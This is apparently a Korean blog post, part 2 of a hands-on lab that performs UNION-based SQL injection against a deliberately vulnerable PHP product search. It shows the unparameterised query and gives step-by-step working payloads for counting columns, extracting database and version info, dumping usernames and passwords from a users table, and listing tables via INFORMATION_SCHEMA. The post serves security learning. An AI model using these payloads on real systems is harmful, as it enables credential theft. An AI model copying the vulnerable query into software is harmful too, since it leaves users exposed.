Journey to Security/웹 보안

[SQLi] 취약한 웹앱 공격 실습 (2) UNION-based 데이터 탈취

Cordilog 2026. 5. 21. 22:43

📌실습 목표 : 

상품 검색 폼에 UNION SELECT를 삽입해 users 테이블의 계정 정보(username, password)를 검색 결과 화면에 그대로 출력시킨다.

 

1. 취약한 코드

search_vuln.php 의 핵심 부분이다.

$keyword = $_GET['keyword'];
$query = "SELECT id, name, price, description FROM products WHERE name LIKE '%$keyword%'";

 

products 테이블에서 4개 컬럼을 SELECT하고 있다.

이 구조가 UNION 공격의 핵심 단서다.

 

2. UNION 공격 원리

 

3. 단계별 공격 실습

http://192.168.100.25:8080/vuln/search_vuln.php 접속 후 keyword 입력창에 순서대로 입력한다.

 

Step1️⃣ 컬럼 수 파악 (ORDER BY)

🔵 기본 동작 원리

ORDER BY숫자로 컬럼을 지정할 수 있다.

SELECT id, name, price, description FROM products
ORDER BY 1   -- id 기준 정렬
ORDER BY 2   -- name 기준 정렬
ORDER BY 3   -- price 기준 정렬
ORDER BY 4   -- description 기준 정렬
ORDER BY 5   -- ❌ 5번째 컬럼이 없음 → 에러

 

UNION이 성립하려면 컬럼 수를 먼저 알아야 한다. ORDER BY에러가 나는 지점을 찾는다.

 

먼저 ' order by 1-- 을 입력하면 ID를 기준으로 정렬이 되는 것을 볼 수 있다. 정상 출력이다.  

 

' order by 4-- 까지 숫자를 점점 늘려본다. 계속해서 정상 출력되는 것을 확인한다. 

 

' order by 5-- 를 입력하면 다음과 같이 에러 메시지가 뜬다. 

 

' ORDER BY 1#    → 정상
' ORDER BY 2#    → 정상
' ORDER BY 3#    → 정상
' ORDER BY 4#    → 정상
' ORDER BY 5#    → 에러 발생 ← 여기서 컬럼 수 = 4 확정

 

Step2️⃣ 출력 위치 확인 (UNION SELECT 숫자)

컬럼이 4개임을 확인했으면 어느 컬럼이 화면에 출력되는지 확인한다.

 

키워드 입력: 존재하지 않는 검색어로 products 조회 결과를 0건으로 만들어서 오른쪽 SELECT문만 화면에 나오도록 한다.

aaaaa' UNION SELECT 1,2,3,4#

 

실행 쿼리:

WHERE name LIKE '%aaaaa' UNION SELECT 1,2,3,4#%'

 

 

검색 결과에 숫자 1, 2, 3, 4 중 어떤 값이 화면에 보이는지 확인한다.

보이는 숫자 위치가 데이터를 출력할 수 있는 컬럼이다.

 

Step3️⃣  DB 정보 추출

키워드 입력: DB명을 반환하는 database()함수와 MySQL 버전을 반환하는 version() 함수를 2번째, 3번째 컬럼에 입력

aaaaa' UNION SELECT 1,database(),version(),4#
 
 
위치 출력 내용
database() 현재 DB명 (sqli_lab)
version() MySQL 버전 (8.0.46)

 

Step4️⃣ users 테이블 탈취

키워드 입력: 존재하지 않는 검색어로 products 조회 결과를 0건으로 만들어서 users 테이블만 화면에 나오도록 한다.

' UNION SELECT id,username,password,email FROM users#
 
 

상품 검색 결과 테이블에 users 테이블의 계정 정보가 그대로 출력된다.

 
 Step 5️⃣ INFORMATION_SCHEMA로 테이블 목록 조회

 

실전에서는 테이블 이름을 모르는 경우가 대부분이다.

MySQL 내장 메타데이터 DB인 INFORMATION_SCHEMA로 테이블 목록을 먼저 뽑는다.

aaaaa' UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schema=database()#
 

sqli_lab DB에 존재하는 전체 테이블 목록이 출력된다.

 

4. 정리

Step 1: ORDER BY 5# 에서 에러 확인 → 컬럼 수 4개 확정
Step 2: aaaaa' UNION SELECT 1,2,3,4# 출력 위치 확인
Step 3: database(), version() 정보 추출

Step 4: users 테이블 계정/패스워드 전체 덤프
Step 5: INFORMATION_SCHEMA 테이블 목록 조회